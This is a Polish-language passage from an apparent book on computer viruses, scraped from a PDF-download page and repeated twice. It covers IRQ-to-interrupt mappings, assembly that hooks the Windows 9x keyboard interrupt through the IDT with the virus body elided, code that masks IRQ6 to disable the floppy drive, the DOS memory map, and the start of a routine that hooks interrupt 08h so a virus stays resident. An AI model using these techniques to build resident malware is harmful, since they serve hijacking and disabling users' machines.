[ Pobierz całość w formacie PDF ]
IRQ4 Szeregowy port 1 (COM1,3)
IRQ5 Port równoległy
IRQ6 Sterownik dysków elastycznych
IRQ7 Zarezerwowane
Układ 8259 mapuje przerwania sprzętowe (IRQ) na przerwania programowe (instrukcja INT). Przerwania
sprzętowe mogą być zmapowane na przerwania softwarowe w zakresie od 32 do 255 (20h do 0FFh).
Poniższa tabela przedstawia jak są zmapowane przerwania IRQ w zależności od systemu operacyjnego
System operacyjny Przerwania okupowane przez Przerwania okupowane przez
główny układ 8259A drugi układ 8259A
(IRQ 0..7) (IRQ 8..15)
DOS 8h 0Fh 70h 77h
Windows 9x 50h 57h 58h 5Fh
Windows NT 30h 37h 38h 3Fh
Z tabeli tej wynika iż aby podpiąć się pod przerwanie klawiatury w Windowsie 9x należy przejąć przerwanie
51h (w DOSie osiągało się to poprzez przejęcie przerwania 9h). Poniższy kod przedstawia sposób przejęcia
przerwania 51h
int_desc STRUCT
offset_low dw ?
seg_selector dw ?
res db ?
flags db ?
offset_high dw ?
int_desc ENDS
BeginProc _readidt
assume edi:ptr int_desc
mov ax, [edi].offset_high
xchg ah, al
bswap eax
mov ax, [edi].offset_low
mov bx, [edi].seg_selector
assume edi:ptr nothing
ret
EndProc _readidt
BeginProc _saveidt
assume edi:ptr int_desc
mov [edi].offset_low,ax
65
bswap eax
xchg ah,al
mov [edi].offset_high,ax
assume edi:ptr nothing
ret
EndProc _saveidt
int51offset EQU 51h*8
BeginProc Przejmij_51h
cli
push edi
sidt [esp-2]
pop edi
add edi, int51offset
call _readidt
mov OldInt51Proc, eax
mov eax, offset32 _int51proc
call _saveidt
ret
EndProc Przejmij_51h
BeginProc _int51proc
cli
[...] ;Procedura obsługi klawiatury (kod wirusa)
db 68h
OldInt51Proc dd 0
Ret ;JMP OldInt51Proc
EndProc _int51proc
Układ PIC umożliwia blokadę przerwań sprzętowych. Poniższy kod blokuje IRQ6 w wyniku tego stacja
dyskietek przestaje działać.
mov dx,21h ;(port głownego układu 8259)
in al, dx
or al,01000000b
out dx,al
6. Metody instalacji w pamięci operacyjnej
tryb rzeczywisty
W punkcie tym zajmiemy się systemem operacyjnym DOS (w wersjach 5.x i 6.x), z tego też względu iż jest
to przykład systemu operacyjnego działającego właśnie w trybie rzeczywistym.
Pamięć operacyjna systemu DOS dzieli się na następujące obszary pamięci
" Pamięć konwencjonalna (ang. conventional memory) obszar o adresach od 0 do 640KB;
może być obsługiwana przez wszystkie stosowane typy procesorów. Ograniczenie 640KB w
żaden sposób nie jest uwarunkowane właściwościami procesorów, a wynika jedynie z
przyjętych rozwiązań konstrukcji komputerów typu IBM PC i wynikających z nich rozwiązań
systemu operacyjnego DOS.
66
" Pamięć górna (ang. Upper Memory Area, UMA) jest zorganizowana za pomocą bloków w
obszarze adresowania 640KB 1MB; może być częściowo wykorzystywana do celów
systemowych. Realizacja tej pamięci polega na odwzorowaniu bloków z obszaru pamięci
rozszerzonej przy wykorzystaniu możliwości procesora 386 i wyższych (stronicowanie i tryb
wirtualny 8086)
" Pamięć wysoka (ang. High Memory Area, HMA) są to pierwsze 64KB poczynając od
adresu 1MB, pamięć ta wyróżniona jest ze względu na specjalny sposób adresowania tego
obszaru pamięci przez procesory 286 i wyższe. Może być wykorzystywana do celów
systemowych
" Pamięć rozszerzona (ang. extended memory area) instalowana w obszarze adresowania od
1MB
W poniższej tabeli przedstawiamy mapę pamięci systemu DOS
Adres obszaru Długość obszaru Opis
00000 9FFFF 640KB Pamięć konwencjonalna
A0000 FFFFF 384KB Pamięć górna
A0000 BFFFF 128KB Pamięć ekranu karty EGA lub
VGA
C0000 C7FFF 32KB BIOS karty EGA lub VGA
E0000 - FFFFF 128KB Zarezerwowane dla BIOS-u
100000 XXXXX Pamięć rozszerzona
100000 10FFEF 64KB Pamięć wysoka
Pamięć konwencjonalna jest wykorzystywana do celów systemowych w trybie rzeczywistym, dlatego niej się
bliżej przyjrzymy i opiszemy na jej przykładzie metody instalacji w pamięci operacyjnej. W tabeli poniżej
wyszczególnione zostały dokładniej obszary tejże pamięci.
Adres Opis
0000:0000 Tablica wektorów przerwań
0040:0000 Zmienne systemowe
xxxx:0000 Część BIOS-u dostarczana ze zbioru IO.SYS
xxxx:0000 Procedury obsługi przerwań
xxxx:0000 Zarezerwowany obszar na bufory
xxxx:0000 Rezydentna część COMMAND.COM. Zawiera
procedury obsługi przerwań 22h, 23h, 24h
xxxx:0000 Programy typu TSR
xxxx:0000 Aktualnie wykonujący się program
xxxx:0000 Powłoka systemu część COMMAND.COM
A000:0000 Pamięć karty EGA/VGA
C800:0000 Rozszerzenia BIOS
F600:0000 Interpreter BASIC-a
FE00:0000 do FFFF:FFFF ROM-BIOS
Z tabeli tej wynika iż obszar, w który możemy ingerować zawiera się od adresu 0000:0000 do A000:0000.
W systemie operacyjnym DOS kluczową rolę odgrywa system przerwań, bowiem dostęp do funkcji
systemowej uzyskujemy przez wywołanie odpowiedniego przerwania, dlatego też głównym punktem
67
instalacji wirusa w systemie jest właśnie przejęcie przerwania. Poniżej zamieszczam sposób przejęcia
przerwania 08h.
Instalacja_w_systemie PROC
mov ax,3508h
int 21h ;odczytaj adres procedury obsługi przerwania 8h (zegarowe)
mov int08o,bx
mov int08s,es
push cs
pop ds
mov dx,offset obsluga_przerwania8h [ Pobierz całość w formacie PDF ]
zanotowane.pl doc.pisz.pl pdf.pisz.pl akte20.pev.pl
IRQ4 Szeregowy port 1 (COM1,3)
IRQ5 Port równoległy
IRQ6 Sterownik dysków elastycznych
IRQ7 Zarezerwowane
Układ 8259 mapuje przerwania sprzętowe (IRQ) na przerwania programowe (instrukcja INT). Przerwania
sprzętowe mogą być zmapowane na przerwania softwarowe w zakresie od 32 do 255 (20h do 0FFh).
Poniższa tabela przedstawia jak są zmapowane przerwania IRQ w zależności od systemu operacyjnego
System operacyjny Przerwania okupowane przez Przerwania okupowane przez
główny układ 8259A drugi układ 8259A
(IRQ 0..7) (IRQ 8..15)
DOS 8h 0Fh 70h 77h
Windows 9x 50h 57h 58h 5Fh
Windows NT 30h 37h 38h 3Fh
Z tabeli tej wynika iż aby podpiąć się pod przerwanie klawiatury w Windowsie 9x należy przejąć przerwanie
51h (w DOSie osiągało się to poprzez przejęcie przerwania 9h). Poniższy kod przedstawia sposób przejęcia
przerwania 51h
int_desc STRUCT
offset_low dw ?
seg_selector dw ?
res db ?
flags db ?
offset_high dw ?
int_desc ENDS
BeginProc _readidt
assume edi:ptr int_desc
mov ax, [edi].offset_high
xchg ah, al
bswap eax
mov ax, [edi].offset_low
mov bx, [edi].seg_selector
assume edi:ptr nothing
ret
EndProc _readidt
BeginProc _saveidt
assume edi:ptr int_desc
mov [edi].offset_low,ax
65
bswap eax
xchg ah,al
mov [edi].offset_high,ax
assume edi:ptr nothing
ret
EndProc _saveidt
int51offset EQU 51h*8
BeginProc Przejmij_51h
cli
push edi
sidt [esp-2]
pop edi
add edi, int51offset
call _readidt
mov OldInt51Proc, eax
mov eax, offset32 _int51proc
call _saveidt
ret
EndProc Przejmij_51h
BeginProc _int51proc
cli
[...] ;Procedura obsługi klawiatury (kod wirusa)
db 68h
OldInt51Proc dd 0
Ret ;JMP OldInt51Proc
EndProc _int51proc
Układ PIC umożliwia blokadę przerwań sprzętowych. Poniższy kod blokuje IRQ6 w wyniku tego stacja
dyskietek przestaje działać.
mov dx,21h ;(port głownego układu 8259)
in al, dx
or al,01000000b
out dx,al
6. Metody instalacji w pamięci operacyjnej
tryb rzeczywisty
W punkcie tym zajmiemy się systemem operacyjnym DOS (w wersjach 5.x i 6.x), z tego też względu iż jest
to przykład systemu operacyjnego działającego właśnie w trybie rzeczywistym.
Pamięć operacyjna systemu DOS dzieli się na następujące obszary pamięci
" Pamięć konwencjonalna (ang. conventional memory) obszar o adresach od 0 do 640KB;
może być obsługiwana przez wszystkie stosowane typy procesorów. Ograniczenie 640KB w
żaden sposób nie jest uwarunkowane właściwościami procesorów, a wynika jedynie z
przyjętych rozwiązań konstrukcji komputerów typu IBM PC i wynikających z nich rozwiązań
systemu operacyjnego DOS.
66
" Pamięć górna (ang. Upper Memory Area, UMA) jest zorganizowana za pomocą bloków w
obszarze adresowania 640KB 1MB; może być częściowo wykorzystywana do celów
systemowych. Realizacja tej pamięci polega na odwzorowaniu bloków z obszaru pamięci
rozszerzonej przy wykorzystaniu możliwości procesora 386 i wyższych (stronicowanie i tryb
wirtualny 8086)
" Pamięć wysoka (ang. High Memory Area, HMA) są to pierwsze 64KB poczynając od
adresu 1MB, pamięć ta wyróżniona jest ze względu na specjalny sposób adresowania tego
obszaru pamięci przez procesory 286 i wyższe. Może być wykorzystywana do celów
systemowych
" Pamięć rozszerzona (ang. extended memory area) instalowana w obszarze adresowania od
1MB
W poniższej tabeli przedstawiamy mapę pamięci systemu DOS
Adres obszaru Długość obszaru Opis
00000 9FFFF 640KB Pamięć konwencjonalna
A0000 FFFFF 384KB Pamięć górna
A0000 BFFFF 128KB Pamięć ekranu karty EGA lub
VGA
C0000 C7FFF 32KB BIOS karty EGA lub VGA
E0000 - FFFFF 128KB Zarezerwowane dla BIOS-u
100000 XXXXX Pamięć rozszerzona
100000 10FFEF 64KB Pamięć wysoka
Pamięć konwencjonalna jest wykorzystywana do celów systemowych w trybie rzeczywistym, dlatego niej się
bliżej przyjrzymy i opiszemy na jej przykładzie metody instalacji w pamięci operacyjnej. W tabeli poniżej
wyszczególnione zostały dokładniej obszary tejże pamięci.
Adres Opis
0000:0000 Tablica wektorów przerwań
0040:0000 Zmienne systemowe
xxxx:0000 Część BIOS-u dostarczana ze zbioru IO.SYS
xxxx:0000 Procedury obsługi przerwań
xxxx:0000 Zarezerwowany obszar na bufory
xxxx:0000 Rezydentna część COMMAND.COM. Zawiera
procedury obsługi przerwań 22h, 23h, 24h
xxxx:0000 Programy typu TSR
xxxx:0000 Aktualnie wykonujący się program
xxxx:0000 Powłoka systemu część COMMAND.COM
A000:0000 Pamięć karty EGA/VGA
C800:0000 Rozszerzenia BIOS
F600:0000 Interpreter BASIC-a
FE00:0000 do FFFF:FFFF ROM-BIOS
Z tabeli tej wynika iż obszar, w który możemy ingerować zawiera się od adresu 0000:0000 do A000:0000.
W systemie operacyjnym DOS kluczową rolę odgrywa system przerwań, bowiem dostęp do funkcji
systemowej uzyskujemy przez wywołanie odpowiedniego przerwania, dlatego też głównym punktem
67
instalacji wirusa w systemie jest właśnie przejęcie przerwania. Poniżej zamieszczam sposób przejęcia
przerwania 08h.
Instalacja_w_systemie PROC
mov ax,3508h
int 21h ;odczytaj adres procedury obsługi przerwania 8h (zegarowe)
mov int08o,bx
mov int08s,es
push cs
pop ds
mov dx,offset obsluga_przerwania8h [ Pobierz całość w formacie PDF ]